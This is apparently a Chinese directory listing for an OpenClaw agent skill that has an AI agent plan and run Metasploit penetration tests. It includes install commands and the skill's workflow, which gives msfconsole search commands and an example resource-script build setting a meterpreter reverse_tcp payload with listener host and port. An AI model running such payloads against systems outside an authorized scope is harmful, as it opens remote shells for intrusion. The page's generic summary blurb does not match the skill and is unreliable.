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metasploit-skill元漏洞技能

Agent Skill

metasploit-skill 用于查找、检索和筛选相关信息,适合在 OpenClaw 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

11,247

周安装

464

GitHub Stars

1

下载量

3,675
OpenClaw

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

MIT-0

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:metasploit-skill(元漏洞技能)
来源仓库:https://github.com/zengyuxiu/metasploit-skill
安装命令:
openclaw skills install metasploit-skill
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 OpenClaw 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

ClawHubOpenClaw
openclaw skills install metasploit-skill

简介

metasploit-skill 通过可重复的工作流程规划和执行 OpenClaw 任务的授权 Metasploit 评估。

  • 适合在 OpenClaw 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。
  • 包括目标分类、漏洞利用模块选择和选项设置。
  • 安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。
  • 可结合来源仓库和原始 README 继续核验具体用法。

SKILL.md

name
openclaw-metasploit
description
Plan and execute authorized Metasploit assessments for OpenClaw tasks with repeatable workflows, including target triage, exploit module selection, option tuning, .rc generation, controlled execution, and evidence-focused reporting. Use when requests involve msfconsole operations, module/payload matching, exploit/check automation, session verification, or pentest result writeups.

OpenClaw Metasploit

Overview

Use this skill to run deterministic and auditable Metasploit workflows for authorized security testing. Prefer a check-first workflow and generate repeatable .rc scripts via scripts/build_rc.py instead of ad hoc console typing.

Workflow Decision Tree

  1. Confirm authorization and scope before any technical step.
  2. Collect target facts: service, version, network position, and constraints.
  3. Select candidate modules and payloads using module-selection.md.
  4. Generate and review a resource script with scripts/build_rc.py.
  5. Execute in msfconsole with check before run or exploit.
  6. Validate outcome with session and artifact evidence.
  7. Produce a concise report with reproducible commands and findings.

Step 1: Confirm Scope and Safety

Require explicit confirmation of:

  • Target ownership or testing authorization
  • In-scope hosts, ports, and time window
  • Forbidden techniques (DoS, persistence, data exfiltration)

If scope is unclear, stop and ask for clarification before proceeding.

Step 2: Build Target Context

Capture minimum actionable context:

  • Host and network placement
  • Service and version fingerprint
  • Authentication state
  • Environmental constraints (egress filtering, AV/EDR, uptime sensitivity)

Use this context to justify each module choice.

Step 3: Select Modules and Payloads

Use search and info in msfconsole to narrow candidates:

search type:exploit cve:2023 service:http
info exploit/linux/http/<module_name>
show options
show payloads

Choose modules by:

  • Reliability and target compatibility
  • Required options completeness
  • Post-exploit objective fit (shell type, architecture, privilege level)

For common mappings and tradeoffs, read module-selection.md.

Step 4: Generate Resource Script

Generate reproducible execution scripts:

python3 scripts/build_rc.py \
  --module exploit/linux/http/example_module \
  --rhosts 10.10.10.15 \
  --rport 8080 \
  --payload linux/x64/meterpreter/reverse_tcp \
  --lhost 10.10.10.5 \
  --lport 4444 \
  --set TARGETURI=/app \
  --check \
  --job \
  --output run_example.rc

Review generated commands before execution:

  • Confirm no out-of-scope hosts
  • Confirm payload and listener values
  • Confirm optional settings are intentional

Step 5: Execute in msfconsole

Run with logging enabled:

msfconsole -q -r run_example.rc

Inside msfconsole, verify:

  • check output status
  • run or exploit result
  • sessions -l visibility

If exploitation fails, adjust one variable at a time and re-run.

Step 6: Validate and Capture Evidence

Minimum evidence set:

  • Module path and key options
  • Command/script used for execution
  • Check result and exploit result
  • Session details (type, user, host)
  • Relevant non-sensitive proof artifacts

Use workflow.md for command-level checklists and reporting structure.

Step 7: Report

Produce output with:

  • Objective and scope
  • Reproducible steps
  • Outcome and confidence
  • Impact summary
  • Recommended remediation and verification method

Keep reports concise and technically verifiable.

Resources

scripts/build_rc.py

Generate a repeatable Metasploit .rc resource script from structured options.

references/module-selection.md

Module and payload selection heuristics with common service mappings.

references/workflow.md

Command checklist for execution, troubleshooting loop, and report field requirements.

适合场景

01

OpenClaw 用户查找和安装 Skill 时

02

用户想查找某类 Agent Skill 时

03

需要根据任务场景推荐可安装能力包时

04

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

补充不同宿主或平台的使用分布数据

能力 5

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

OpenClaw

80.96%
按下载量换算2,975

安全审计

VirusTotal

可疑

ClawScan

可疑

Static analysis

通过

权限和风险

执行命令

安装流程涉及命令执行,可能通过 openclaw skills install metasploit-skill 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

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